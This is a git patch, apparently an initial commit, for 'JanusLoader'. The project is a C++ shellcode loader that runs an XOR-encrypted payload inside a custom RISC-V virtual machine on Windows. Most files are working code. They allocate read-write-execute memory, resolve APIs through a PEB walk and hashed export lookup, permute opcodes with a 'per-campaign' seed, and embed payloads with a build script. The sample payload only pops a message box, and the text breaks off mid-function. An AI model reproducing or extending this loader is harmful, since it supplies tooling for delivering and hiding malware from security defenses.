From e25b2e2a7826a80006d6e183b764b0b35b2716c1 Mon Sep 17 00:00:00 2001 From: hunterino-sec <41126746+hunterino-sec@users.noreply.github.com> Date: Sun, 19 Jul 2026 04:43:07 -0400 Subject: [PATCH] Initial commit! --- CMakeLists.txt | 39 +++++++++ cmake/riscv64.cmake | 14 ++++ include/janus/config.hpp | 7 ++ include/janus/decode.hpp | 38 +++++++++ include/janus/loader.hpp | 15 ++++ include/janus/syscall.hpp | 21 +++++ include/janus/vm.hpp | 36 +++++++++ payload/CMakeLists.txt | 38 +++++++++ payload/crt0.S | 25 ++++++ payload/ecall.hpp | 59 ++++++++++++++ payload/link.ld | 18 +++++ payload/main.cpp | 20 +++++ src/loader/crypto.cpp | 10 +++ src/loader/loader.cpp | 45 +++++++++++ src/loader/payload_blob.cpp | 11 +++ src/main.cpp | 11 +++ src/syscall/table.cpp | 31 ++++++++ src/syscall/winapi.cpp | 115 +++++++++++++++++++++++++++ src/vm/alu.cpp | 153 ++++++++++++++++++++++++++++++++++++ src/vm/branch.cpp | 33 ++++++++ src/vm/core.cpp | 76 ++++++++++++++++++ src/vm/mem.cpp | 42 ++++++++++ src/vm/system.cpp | 55 +++++++++++++ tools/embed_payload.py | 125 +++++++++++++++++++++++++++++ 24 files changed, 1037 insertions(+) create mode 100644 CMakeLists.txt create mode 100644 cmake/riscv64.cmake create mode 100644 include/janus/config.hpp create mode 100644 include/janus/decode.hpp create mode 100644 include/janus/loader.hpp create mode 100644 include/janus/syscall.hpp create mode 100644 include/janus/vm.hpp create mode 100644 payload/CMakeLists.txt create mode 100644 payload/crt0.S create mode 100644 payload/ecall.hpp create mode 100644 payload/link.ld create mode 100644 payload/main.cpp create mode 100644 src/loader/crypto.cpp create mode 100644 src/loader/loader.cpp create mode 100644 src/loader/payload_blob.cpp create mode 100644 src/main.cpp create mode 100644 src/syscall/table.cpp create mode 100644 src/syscall/winapi.cpp create mode 100644 src/vm/alu.cpp create mode 100644 src/vm/branch.cpp create mode 100644 src/vm/core.cpp create mode 100644 src/vm/mem.cpp create mode 100644 src/vm/system.cpp create mode 100644 tools/embed_payload.py diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..f8aa74c --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,39 @@ +cmake_minimum_required(VERSION 3.20) +project(JanusLoader CXX) + +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED ON) + +# ── VM + Loader library ─────────────────────────────────────────────────────── +add_library(janus_vm STATIC + src/vm/core.cpp + src/vm/alu.cpp + src/vm/mem.cpp + src/vm/branch.cpp + src/vm/system.cpp + src/syscall/winapi.cpp + src/syscall/table.cpp + src/loader/crypto.cpp + src/loader/loader.cpp + src/loader/payload_blob.cpp +) + +target_include_directories(janus_vm PUBLIC include) + +if (MSVC) + target_compile_options(janus_vm PRIVATE /O2 /GS- /W4) + target_compile_definitions(janus_vm PRIVATE _CRT_SECURE_NO_WARNINGS) +else() + target_compile_options(janus_vm PRIVATE -O2 -Wall -Wextra) +endif() + +# ── Loader executable ───────────────────────────────────────────────────────── +add_executable(JanusLoader src/main.cpp) +target_link_libraries(JanusLoader PRIVATE janus_vm) + +if (WIN32) + target_link_libraries(JanusLoader PRIVATE kernel32) +endif() + +# ── Build payload separately ────────────────────────────────────────────────── +# cd payload && cmake -B build -DCMAKE_TOOLCHAIN_FILE=../cmake/riscv64.cmake && cmake --build build diff --git a/cmake/riscv64.cmake b/cmake/riscv64.cmake new file mode 100644 index 0000000..c93e565 --- /dev/null +++ b/cmake/riscv64.cmake @@ -0,0 +1,14 @@ +set(CMAKE_SYSTEM_NAME Generic) +set(CMAKE_SYSTEM_PROCESSOR riscv64) + +set(TRIPLE riscv64-linux-gnu) + +set(CMAKE_C_COMPILER ${TRIPLE}-gcc) +set(CMAKE_CXX_COMPILER ${TRIPLE}-g++) +set(CMAKE_ASM_COMPILER ${TRIPLE}-gcc) + +set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER) +set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY) +set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY) + +set(CMAKE_EXE_LINKER_FLAGS_INIT "-nostdlib -static") diff --git a/include/janus/config.hpp b/include/janus/config.hpp new file mode 100644 index 0000000..e91faa0 --- /dev/null +++ b/include/janus/config.hpp @@ -0,0 +1,7 @@ +#pragma once +#include + +// Per-campaign knobs. Change both values, then rebuild loader + rerun tools/embed_payload.py. +#define JANUS_OPCODE_SEED 0xDEADBEEFu +#define JANUS_XOR_KEY 0x4Au +#define JANUS_STACK_SIZE (1u << 20) // 1 MiB diff --git a/include/janus/decode.hpp b/include/janus/decode.hpp new file mode 100644 index 0000000..49f84d2 --- /dev/null +++ b/include/janus/decode.hpp @@ -0,0 +1,38 @@ +#pragma once +#include + +// Field extractors — no bit-twiddling at call sites +inline int rv_rd (uint32_t i) { return (i >> 7) & 0x1F; } +inline int rv_rs1(uint32_t i) { return (i >> 15) & 0x1F; } +inline int rv_rs2(uint32_t i) { return (i >> 20) & 0x1F; } +inline int rv_f3 (uint32_t i) { return (i >> 12) & 0x7; } +inline int rv_f7 (uint32_t i) { return (i >> 25) & 0x7F; } +inline int rv_op (uint32_t i) { return (i >> 2) & 0x1F; } + +// Sign-extended immediates +inline int64_t rv_imm_i(uint32_t i) { + return (int64_t)(int32_t)i >> 20; +} +inline int64_t rv_imm_u(uint32_t i) { + return (int64_t)(int32_t)(i & 0xFFFFF000u); +} +inline int64_t rv_imm_s(uint32_t i) { + // imm[11:5] at bits 31:25, imm[4:0] at bits 11:7 + return ((int64_t)(int32_t)i >> 20 & ~(int64_t)0x1F) | ((i >> 7) & 0x1F); +} +inline int64_t rv_imm_b(uint32_t i) { + // {imm[12], imm[11], imm[10:5], imm[4:1], 0} + uint32_t raw = ((i >> 19) & 0x1000u) // bit 31 → bit 12 + | ((i << 4) & 0x0800u) // bit 7 → bit 11 + | ((i >> 20) & 0x07E0u) // bits 30:25 → bits 10:5 + | ((i >> 7) & 0x001Eu); // bits 11:8 → bits 4:1 + return (int64_t)(int32_t)(raw << 19) >> 19; // sign-extend from bit 12 +} +inline int64_t rv_imm_j(uint32_t i) { + // {imm[20], imm[19:12], imm[11], imm[10:1], 0} + uint32_t raw = ((i >> 11) & 0x100000u) // bit 31 → bit 20 + | (i & 0x0FF000u) // bits 19:12 stay + | ((i >> 9) & 0x000800u) // bit 20 → bit 11 + | ((i >> 20) & 0x0007FEu); // bits 30:21 → bits 10:1 + return (int64_t)(int32_t)(raw << 11) >> 11; // sign-extend from bit 20 +} diff --git a/include/janus/loader.hpp b/include/janus/loader.hpp new file mode 100644 index 0000000..204f3fa --- /dev/null +++ b/include/janus/loader.hpp @@ -0,0 +1,15 @@ +#pragma once +#include +#include +#include "vm.hpp" + +// Payload blob is generated by tools/embed_payload.py +extern const uint8_t kPayload[]; +extern const size_t kPayloadSize; +extern const uint64_t kEntryOffset; // offset into decrypted blob of entry point +extern const uint64_t kRelocOffsets[]; // offsets of 64-bit host pointers needing base fixup +extern const size_t kRelocCount; + +// Decrypt, allocate, apply relocations, return initialised vm ready to run. +// Caller owns allocated memory (freed on process exit in shellcode context, so ignored). +bool janus_load(RiscVm* vm, SyscallTable* sc); diff --git a/include/janus/syscall.hpp b/include/janus/syscall.hpp new file mode 100644 index 0000000..bd952d3 --- /dev/null +++ b/include/janus/syscall.hpp @@ -0,0 +1,21 @@ +#pragma once +#include + +// ECALL numbers (payload convention — a7 register) +enum JanusEcall : uint64_t { + ECALL_GET_PEB = 0, // () -> void* peb + ECALL_HOST_CALL = 1, // (void* fn, uintptr_t* args, int argc) -> uintptr_t + ECALL_RESOLVE = 2, // (char* mod, char* sym) -> void* + ECALL_EXIT = 3, // (int code) -> noreturn +}; + +// Swap this struct to retarget the VM (different OS, sandbox environment, etc.) +struct SyscallTable { + void* (*get_peb)(); + uintptr_t (*host_call)(void* fn, uintptr_t* args, int argc); + void* (*resolve)(const char* mod, const char* sym); + void (*exit_fn)(int code); +}; + +// Default Windows implementation (defined in src/syscall/table.cpp) +extern SyscallTable g_win_syscalls; diff --git a/include/janus/vm.hpp b/include/janus/vm.hpp new file mode 100644 index 0000000..4f9f613 --- /dev/null +++ b/include/janus/vm.hpp @@ -0,0 +1,36 @@ +#pragma once +#include +#include +#include "syscall.hpp" + +// RISC-V ABI register indices +enum : int { + RV_ZERO=0, RV_RA=1, RV_SP=2, RV_GP=3, RV_TP=4, + RV_T0=5, RV_T1=6, RV_T2=7, + RV_S0=8, RV_FP=8, RV_S1=9, + RV_A0=10, RV_A1=11, RV_A2=12, RV_A3=13, + RV_A4=14, RV_A5=15, RV_A6=16, RV_A7=17, + RV_S2=18, RV_S3=19, RV_S4=20, RV_S5=21, + RV_S6=22, RV_S7=23, RV_S8=24, RV_S9=25, + RV_S10=26, RV_S11=27, + RV_T3=28, RV_T4=29, RV_T5=30, RV_T6=31, +}; + +struct RiscVm { + int64_t regs[32]; // x0 hardwired 0 + uint64_t pc; + uint8_t* mem_base; // flat allocation; guest addrs == host addrs + size_t mem_size; + SyscallTable* syscalls; // swappable + bool halted; +}; + +// Helpers +inline void rv_wreg(RiscVm* vm, int rd, int64_t v) { if (rd) vm->regs[rd] = v; } +inline void rv_adv (RiscVm* vm) { vm->pc += 4; } +inline uint32_t rv_fetch(const RiscVm* vm) { + return *reinterpret_cast(static_cast(vm->pc)); +} + +void riscvm_init(RiscVm* vm, uint8_t* mem, size_t mem_sz, SyscallTable* sc); +void riscvm_run (RiscVm* vm); diff --git a/payload/CMakeLists.txt b/payload/CMakeLists.txt new file mode 100644 index 0000000..a72b026 --- /dev/null +++ b/payload/CMakeLists.txt @@ -0,0 +1,38 @@ +cmake_minimum_required(VERSION 3.20) +project(JanusPayload C CXX ASM) + +# Requires a RISC-V cross-compiler: +# apt install gcc-riscv64-linux-gnu g++-riscv64-linux-gnu +# Or pass -DCMAKE_TOOLCHAIN_FILE=../cmake/riscv64.cmake + +set(CMAKE_CXX_STANDARD 17) + +add_executable(payload + crt0.S + main.cpp +) + +target_compile_options(payload PRIVATE + -nostdlib + -fno-exceptions + -fno-rtti + -fPIC + -Os + -march=rv64imac + -mabi=lp64 +) + +target_link_options(payload PRIVATE + -nostdlib + -static + -fuse-ld=lld # requires: sudo apt install lld + -T ${CMAKE_CURRENT_SOURCE_DIR}/link.ld +) + +# After build, generate flat binary + run embed_payload.py +add_custom_command(TARGET payload POST_BUILD + COMMAND python3 ${CMAKE_SOURCE_DIR}/../tools/embed_payload.py + $ + ${CMAKE_SOURCE_DIR}/../src/loader/payload_blob.cpp + COMMENT "Embedding payload into loader" +) diff --git a/payload/crt0.S b/payload/crt0.S new file mode 100644 index 0000000..b2114d6 --- /dev/null +++ b/payload/crt0.S @@ -0,0 +1,25 @@ +.section .text +.global _start +_start: + # Set up global pointer (linker relaxation) + .option push + .option norelax + la gp, __global_pointer$ + .option pop + + # Zero .bss + la a0, __bss_start + la a1, __bss_end +.Lbss_loop: + bge a0, a1, .Lbss_done + sb zero, 0(a0) + addi a0, a0, 1 + j .Lbss_loop +.Lbss_done: + + # sp already set by loader (top of stack region) + call janus_main + + li a7, 3 # ECALL_EXIT + li a0, 0 + ecall diff --git a/payload/ecall.hpp b/payload/ecall.hpp new file mode 100644 index 0000000..74896b5 --- /dev/null +++ b/payload/ecall.hpp @@ -0,0 +1,59 @@ +#pragma once +typedef unsigned long long uintptr_t; +typedef unsigned long long uint64_t; + +// Inline wrappers for Janus ECALLs from payload code. +// These must stay header-only so the payload has no external deps. + +static inline void* janus_get_peb() { + void* r; + asm volatile ( + "li a7, 0\n" + "ecall\n" + "mv %0, a0\n" + : "=r"(r) :: "a7", "a0", "memory" + ); + return r; +} + +// fn: function pointer obtained via janus_resolve +// args: array of uintptr_t on the stack, argc: element count +static inline uintptr_t janus_host_call(void* fn, uintptr_t* args, int argc) { + uintptr_t r; + asm volatile ( + "li a7, 1\n" + "mv a0, %1\n" + "mv a1, %2\n" + "mv a2, %3\n" + "ecall\n" + "mv %0, a0\n" + : "=r"(r) + : "r"(fn), "r"(args), "r"((uintptr_t)argc) + : "a7", "a0", "a1", "a2", "memory" + ); + return r; +} + +static inline void* janus_resolve(const char* mod, const char* sym) { + void* r; + asm volatile ( + "li a7, 2\n" + "mv a0, %1\n" + "mv a1, %2\n" + "ecall\n" + "mv %0, a0\n" + : "=r"(r) + : "r"(mod), "r"(sym) + : "a7", "a0", "a1", "memory" + ); + return r; +} + +static inline void janus_exit(int code) { + asm volatile ( + "li a7, 3\n" + "mv a0, %0\n" + "ecall\n" + :: "r"((uintptr_t)code) : "a7", "a0", "memory" + ); +} diff --git a/payload/link.ld b/payload/link.ld new file mode 100644 index 0000000..9999b07 --- /dev/null +++ b/payload/link.ld @@ -0,0 +1,18 @@ +OUTPUT_ARCH(riscv) +ENTRY(_start) + +SECTIONS { + . = 0x0; + __base = .; + + .text : { *(.text .text.*) } + .rodata : { *(.rodata .rodata.*) } + + . = ALIGN(8); + .data : { *(.data .data.*) } + + . = ALIGN(8); + __bss_start = .; + .bss : { *(.bss .bss.*) *(COMMON) } + __bss_end = .; +} diff --git a/payload/main.cpp b/payload/main.cpp new file mode 100644 index 0000000..23e48b8 --- /dev/null +++ b/payload/main.cpp @@ -0,0 +1,20 @@ +#include "ecall.hpp" + +// Example payload: resolve and call MessageBoxA via the VM's syscall layer. +// On Windows: a dialog box pops. On Linux test (stub syscalls): a0 returns 0. + +extern "C" void janus_main() { + void* msgbox = janus_resolve("user32.dll", "MessageBoxA"); + if (!msgbox) return; + + const char* text = "JanusLoader: RISC-V VM shellcode running"; + const char* caption = "JanusLoader"; + + uintptr_t args[4] = { + 0, // hWnd = NULL + (uintptr_t)text, + (uintptr_t)caption, + 0, // MB_OK + }; + janus_host_call(msgbox, args, 4); +} diff --git a/src/loader/crypto.cpp b/src/loader/crypto.cpp new file mode 100644 index 0000000..98081ab --- /dev/null +++ b/src/loader/crypto.cpp @@ -0,0 +1,10 @@ +#include "janus/config.hpp" +#include +#include + +// Position-keyed XOR: byte[i] ^= key[(i * 0x67) & 0xFF] +// Same operation decrypts (XOR is its own inverse). +void janus_xor_crypt(uint8_t* buf, size_t len) { + for (size_t i = 0; i < len; i++) + buf[i] ^= (uint8_t)(JANUS_XOR_KEY ^ ((i * 0x67u) & 0xFFu)); +} diff --git a/src/loader/loader.cpp b/src/loader/loader.cpp new file mode 100644 index 0000000..a586c2c --- /dev/null +++ b/src/loader/loader.cpp @@ -0,0 +1,45 @@ +#include "janus/loader.hpp" +#include "janus/config.hpp" +#include + +#ifdef _WIN32 +# define WIN32_LEAN_AND_MEAN +# include +static void* alloc_rwx(size_t sz) { + return VirtualAlloc(nullptr, sz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); +} +#else +# include +static void* alloc_rwx(size_t sz) { + void* p = mmap(nullptr, sz, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + return p == MAP_FAILED ? nullptr : p; +} +#endif + +void janus_xor_crypt(uint8_t* buf, size_t len); // crypto.cpp + +bool janus_load(RiscVm* vm, SyscallTable* sc) { + size_t total = kPayloadSize + JANUS_STACK_SIZE; + uint8_t* mem = (uint8_t*)alloc_rwx(total); + if (!mem) return false; + + // Decrypt payload into allocation + memcpy(mem, kPayload, kPayloadSize); + janus_xor_crypt(mem, kPayloadSize); + + // Fix up absolute 64-bit pointers embedded in the payload + uint64_t base = (uint64_t)(uintptr_t)mem; + for (size_t i = 0; i < kRelocCount; i++) { + uint64_t* slot = (uint64_t*)(mem + kRelocOffsets[i]); + *slot += base; + } + + // Stack sits above the payload, sp at top aligned to 16 + uint64_t sp = (base + total) & ~(uint64_t)15; + + riscvm_init(vm, mem, total, sc); + vm->pc = base + kEntryOffset; + vm->regs[RV_SP] = (int64_t)sp; + return true; +} diff --git a/src/loader/payload_blob.cpp b/src/loader/payload_blob.cpp new file mode 100644 index 0000000..99f6c5e --- /dev/null +++ b/src/loader/payload_blob.cpp @@ -0,0 +1,11 @@ +// AUTO-GENERATED by tools/embed_payload.py — do not edit by hand. +// Run: python3 tools/embed_payload.py payload/build/payload.elf src/loader/payload_blob.cpp +#include +#include + +// Stub: replace with generated output after building the payload. +extern const uint8_t kPayload[] = { 0x00 }; +extern const size_t kPayloadSize = 1; +extern const uint64_t kEntryOffset = 0; +extern const uint64_t kRelocOffsets[] = {}; +extern const size_t kRelocCount = 0; diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..70f0cca --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,11 @@ +#include "janus/loader.hpp" +#include "janus/vm.hpp" +#include "janus/syscall.hpp" + +int main() { + RiscVm vm{}; + if (!janus_load(&vm, &g_win_syscalls)) + return 1; + riscvm_run(&vm); + return 0; +} diff --git a/src/syscall/table.cpp b/src/syscall/table.cpp new file mode 100644 index 0000000..348affa --- /dev/null +++ b/src/syscall/table.cpp @@ -0,0 +1,31 @@ +#include "janus/syscall.hpp" +#include + +#ifdef _WIN32 +// Declared in winapi.cpp +void* janus_get_peb(); +void* janus_resolve(const char* mod, const char* sym); +uintptr_t janus_host_call(void* fn, uintptr_t* args, int argc); +void janus_exit(int code); + +SyscallTable g_win_syscalls = { + .get_peb = janus_get_peb, + .host_call = janus_host_call, + .resolve = janus_resolve, + .exit_fn = janus_exit, +}; + +#else +// Stub table for testing on Linux +static void* stub_get_peb() { return nullptr; } +static uintptr_t stub_host_call(void*, uintptr_t*, int) { return 0; } +static void* stub_resolve(const char*, const char*) { return nullptr; } +static void stub_exit(int code) { exit(code); } + +SyscallTable g_win_syscalls = { + .get_peb = stub_get_peb, + .host_call = stub_host_call, + .resolve = stub_resolve, + .exit_fn = stub_exit, +}; +#endif diff --git a/src/syscall/winapi.cpp b/src/syscall/winapi.cpp new file mode 100644 index 0000000..0a0f9df --- /dev/null +++ b/src/syscall/winapi.cpp @@ -0,0 +1,115 @@ +#ifdef _WIN32 +#include "janus/syscall.hpp" +#include +#include +#include // __readgsqword + + +static uint32_t hash_str(const char* s) { + uint32_t h = 0; + while (*s) h = h * 65599u + (uint8_t)*s++; + return h; +} + +// Case-insensitive: wide DLL name (Length in bytes) vs ASCII mod string +static bool wname_eq(const wchar_t* wname, uint16_t len_bytes, const char* ascii) { + uint16_t wlen = len_bytes / 2; + uint16_t i = 0; + while (*ascii) { + if (i >= wlen) return false; + wchar_t wc = wname[i++]; + char ac = *ascii++; + if (wc >= L'A' && wc <= L'Z') wc += L'a' - L'A'; + if (ac >= 'A' && ac <= 'Z') ac += 'a' - 'A'; + if (wc != (wchar_t)(uint8_t)ac) return false; + } + return i == wlen; +} + + +static void* get_export(void* base, const char* sym) { + uint8_t* b = (uint8_t*)base; + uint32_t pe_off = *(uint32_t*)(b + 0x3C); + uint8_t* pe = b + pe_off; + + // DataDirectory[0] = Export directory, at OptionalHeader64 + 0x70 + // OptionalHeader64 starts at pe + 0x18 (after Signature + FileHeader) + uint32_t exp_rva = *(uint32_t*)(pe + 0x18 + 0x70); + if (!exp_rva) return nullptr; + + uint8_t* ed = b + exp_rva; + uint32_t n_names = *(uint32_t*)(ed + 24); + uint32_t* names = (uint32_t*)(b + *(uint32_t*)(ed + 32)); + uint16_t* ordinals = (uint16_t*)(b + *(uint32_t*)(ed + 36)); + uint32_t* funcs = (uint32_t*)(b + *(uint32_t*)(ed + 28)); + + uint32_t target = hash_str(sym); + for (uint32_t i = 0; i < n_names; i++) { + if (hash_str((const char*)(b + names[i])) == target) + return b + funcs[ordinals[i]]; + } + return nullptr; +} + +//PEB WALK + +void* janus_get_peb() { + return (void*)__readgsqword(0x60); +} + +void* janus_resolve(const char* mod, const char* sym) { + uint8_t* peb = (uint8_t*)janus_get_peb(); + uint8_t* ldr = *(uint8_t**)(peb + 0x18); + void* head = *(void**)(ldr + 0x10); // InLoadOrderModuleList.Flink + void* cur = head; + + do { + uint8_t* entry = (uint8_t*)cur; + void* dll_base = *(void**)(entry + 0x30); + uint16_t name_len = *(uint16_t*)(entry + 0x58); // BaseDllName.Length (bytes) + wchar_t* name_buf = *(wchar_t**)(entry + 0x60); // BaseDllName.Buffer + + if (dll_base && name_len && wname_eq(name_buf, name_len, mod)) { + void* fn = get_export(dll_base, sym); + if (fn) return fn; + } + cur = *(void**)entry; // follow Flink + } while (cur != head); + + return nullptr; +} + + +uintptr_t janus_host_call(void* fn, uintptr_t* a, int argc) { + using F0 = uintptr_t(*)(); + using F1 = uintptr_t(*)(uintptr_t); + using F2 = uintptr_t(*)(uintptr_t,uintptr_t); + using F3 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t); + using F4 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t); + using F5 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t); + using F6 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t); + using F7 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t); + using F8 = uintptr_t(*)(uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t,uintptr_t); + + switch (argc) { + case 0: return ((F0)fn)(); + case 1: return ((F1)fn)(a[0]); + case 2: return ((F2)fn)(a[0],a[1]); + case 3: return ((F3)fn)(a[0],a[1],a[2]); + case 4: return ((F4)fn)(a[0],a[1],a[2],a[3]); + case 5: return ((F5)fn)(a[0],a[1],a[2],a[3],a[4]); + case 6: return ((F6)fn)(a[0],a[1],a[2],a[3],a[4],a[5]); + case 7: return ((F7)fn)(a[0],a[1],a[2],a[3],a[4],a[5],a[6]); + case 8: return ((F8)fn)(a[0],a[1],a[2],a[3],a[4],a[5],a[6],a[7]); + default: return 0; + } +} + +void janus_exit(int code) { + // Resolve ExitProcess from kernel32 and call it — no import needed + void* exit_fn = janus_resolve("kernel32.dll", "ExitProcess"); + if (exit_fn) ((void(*)(unsigned int))exit_fn)((unsigned int)code); + __assume(0); // unreachable +} + +#endif // _WIN32 diff --git a/src/vm/alu.cpp b/src/vm/alu.cpp new file mode 100644 index 0000000..1a82b77 --- /dev/null +++ b/src/vm/alu.cpp @@ -0,0 +1,153 @@ +#include "janus/vm.hpp" +#include "janus/decode.hpp" +#include + +void handle_lui(RiscVm* vm, uint32_t i) { + rv_wreg(vm, rv_rd(i), rv_imm_u(i)); + rv_adv(vm); +} + +void handle_auipc(RiscVm* vm, uint32_t i) { + rv_wreg(vm, rv_rd(i), (int64_t)vm->pc + rv_imm_u(i)); + rv_adv(vm); +} + +void handle_op_imm(RiscVm* vm, uint32_t i) { + int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i); + int64_t src = vm->regs[rs1]; + int64_t imm = rv_imm_i(i); + int64_t res = 0; + + switch (f3) { + case 0: res = src + imm; break; // ADDI + case 1: res = src << (imm & 0x3F); break; // SLLI + case 2: res = (int64_t)(src < imm); break; // SLTI + case 3: res = (int64_t)((uint64_t)src < (uint64_t)imm); break; // SLTIU + case 4: res = src ^ imm; break; // XORI + case 5: // SRLI / SRAI + if (i >> 26 & 1) res = src >> (imm & 0x3F); // SRAI (arith) + else res = (int64_t)((uint64_t)src >> (imm & 0x3F)); // SRLI + break; + case 6: res = src | imm; break; // ORI + case 7: res = src & imm; break; // ANDI + } + rv_wreg(vm, rd, res); + rv_adv(vm); +} + + +void handle_op_imm32(RiscVm* vm, uint32_t i) { + int rd = rv_rd(i), rs1 = rv_rs1(i), f3 = rv_f3(i); + int32_t src = (int32_t)vm->regs[rs1]; + int64_t imm = rv_imm_i(i); + int32_t res = 0; + + switch (f3) { + case 0: res = src + (int32_t)imm; break; // ADDIW + case 1: res = src << (imm & 0x1F); break; // SLLIW + case 5: // SRLIW / SRAIW + if (i >> 30 & 1) res = src >> (imm & 0x1F); // SRAIW + else res = (int32_t)((uint32_t)src >> (imm & 0x1F)); // SRLIW + break; + } + rv_wreg(vm, rd, (int64_t)res); + rv_adv(vm); +} + + +void handle_op(RiscVm* vm, uint32_t i) { + int rd = rv_rd(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i); + int f3 = rv_f3(i), f7 = rv_f7(i); + int64_t a = vm->regs[rs1], b = vm->regs[rs2]; + int64_t res = 0; + + if (f7 == 1) { // M extension + switch (f3) { + case 0: res = a * b; break; // MUL + case 1: { // MULH — signed * signed, upper 64 bits + __int128 r = (__int128)a * (__int128)b; + res = (int64_t)(r >> 64); break; + } + case 2: { // MULHSU — signed * unsigned, upper 64 bits + __int128 r = (__int128)a * (__int128)(uint64_t)b; + res = (int64_t)(r >> 64); break; + } + case 3: { // MULHU + unsigned __int128 r = (unsigned __int128)(uint64_t)a * (uint64_t)b; + res = (int64_t)(r >> 64); break; + } + case 4: // DIV + if (!b) { res = -1; } + else if (a == INT64_MIN && b == -1) { res = INT64_MIN; } + else { res = a / b; } + break; + case 5: // DIVU + res = b ? (int64_t)((uint64_t)a / (uint64_t)b) : (int64_t)UINT64_MAX; break; + case 6: // REM + if (!b) { res = a; } + else if (a == INT64_MIN && b == -1) { res = 0; } + else { res = a % b; } + break; + case 7: // REMU + res = b ? (int64_t)((uint64_t)a % (uint64_t)b) : a; break; + } + } else { + bool sub_sra = (f7 >> 5) & 1; + switch (f3) { + case 0: res = sub_sra ? (a - b) : (a + b); break; // ADD / SUB + case 1: res = a << (b & 0x3F); break; // SLL + case 2: res = (int64_t)(a < b); break; // SLT + case 3: res = (int64_t)((uint64_t)a < (uint64_t)b); break; // SLTU + case 4: res = a ^ b; break; // XOR + case 5: // SRL / SRA + if (sub_sra) res = a >> (b & 0x3F); + else res = (int64_t)((uint64_t)a >> (b & 0x3F)); + break; + case 6: res = a | b; break; // OR + case 7: res = a & b; break; // AND + } + } + rv_wreg(vm, rd, res); + rv_adv(vm); +} + + +void handle_op32(RiscVm* vm, uint32_t i) { + int rd = rv_rd(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i); + int f3 = rv_f3(i), f7 = rv_f7(i); + int32_t a = (int32_t)vm->regs[rs1]; + int32_t b = (int32_t)vm->regs[rs2]; + int32_t res = 0; + bool sub_sra = (f7 >> 5) & 1; + + if (f7 == 1) { // M extension 32-bit + switch (f3) { + case 0: res = a * b; break; // MULW + case 4: // DIVW + if (!b) { res = -1; } + else if (a == INT32_MIN && b == -1) { res = INT32_MIN; } + else { res = a / b; } + break; + case 5: // DIVUW + res = b ? (int32_t)((uint32_t)a / (uint32_t)b) : (int32_t)UINT32_MAX; break; + case 6: // REMW + if (!b) { res = a; } + else if (a == INT32_MIN && b == -1) { res = 0; } + else { res = a % b; } + break; + case 7: // REMUW + res = b ? (int32_t)((uint32_t)a % (uint32_t)b) : a; break; + } + } else { + switch (f3) { + case 0: res = sub_sra ? (a - b) : (a + b); break; // ADDW / SUBW + case 1: res = a << (b & 0x1F); break; // SLLW + case 5: // SRLW / SRAW + if (sub_sra) res = a >> (b & 0x1F); + else res = (int32_t)((uint32_t)a >> (b & 0x1F)); + break; + } + } + rv_wreg(vm, rd, (int64_t)res); + rv_adv(vm); +} diff --git a/src/vm/branch.cpp b/src/vm/branch.cpp new file mode 100644 index 0000000..58f38e4 --- /dev/null +++ b/src/vm/branch.cpp @@ -0,0 +1,33 @@ +#include "janus/vm.hpp" +#include "janus/decode.hpp" + + +void handle_jal(RiscVm* vm, uint32_t i) { + int64_t target = (int64_t)vm->pc + rv_imm_j(i); + rv_wreg(vm, rv_rd(i), (int64_t)(vm->pc + 4)); + vm->pc = (uint64_t)target; +} + + +void handle_jalr(RiscVm* vm, uint32_t i) { + uint64_t target = (uint64_t)(vm->regs[rv_rs1(i)] + rv_imm_i(i)) & ~(uint64_t)1; + rv_wreg(vm, rv_rd(i), (int64_t)(vm->pc + 4)); + vm->pc = target; +} + + +void handle_branch(RiscVm* vm, uint32_t i) { + int f3 = rv_f3(i), rs1 = rv_rs1(i), rs2 = rv_rs2(i); + int64_t a = vm->regs[rs1], b = vm->regs[rs2]; + bool taken = false; + + switch (f3) { + case 0: taken = a == b; break; // BEQ + case 1: taken = a != b; break; // BNE + case 4: taken = a < b; break; // BLT + case 5: taken = a >= b; break; // BGE + case 6: taken = (uint64_t)a < (uint64_t)b; break; // BLTU + case 7: taken = (uint64_t)a >= (uint64_t)b; break; // BGEU + } + vm->pc = taken ? (uint64_t)((int64_t)vm->pc + rv_imm_b(i)) : vm->pc + 4; +} diff --git a/src/vm/core.cpp b/src/vm/core.cpp new file mode 100644 index 0000000..6789693 --- /dev/null +++ b/src/vm/core.cpp @@ -0,0 +1,76 @@ +#include "janus/vm.hpp" +#include "janus/config.hpp" +#include +#include + +using HandlerFn = void(*)(RiscVm*, uint32_t); + +// Forward-declared in each handler file +void handle_load (RiscVm*, uint32_t); +void handle_misc_mem (RiscVm*, uint32_t); +void handle_op_imm (RiscVm*, uint32_t); +void handle_auipc (RiscVm*, uint32_t); +void handle_op_imm32 (RiscVm*, uint32_t); +void handle_store (RiscVm*, uint32_t); +void handle_op (RiscVm*, uint32_t); +void handle_lui (RiscVm*, uint32_t); +void handle_op32 (RiscVm*, uint32_t); +void handle_branch (RiscVm*, uint32_t); +void handle_jalr (RiscVm*, uint32_t); +void handle_jal (RiscVm*, uint32_t); +void handle_system (RiscVm*, uint32_t); + +static void handle_illegal(RiscVm* vm, uint32_t) { vm->halted = true; } + +// Compile-time Fisher-Yates shuffle driven by JANUS_OPCODE_SEED. +// embed_payload.py uses the same algorithm to permute opcode fields in the payload binary. +static constexpr std::array gen_perm(uint32_t 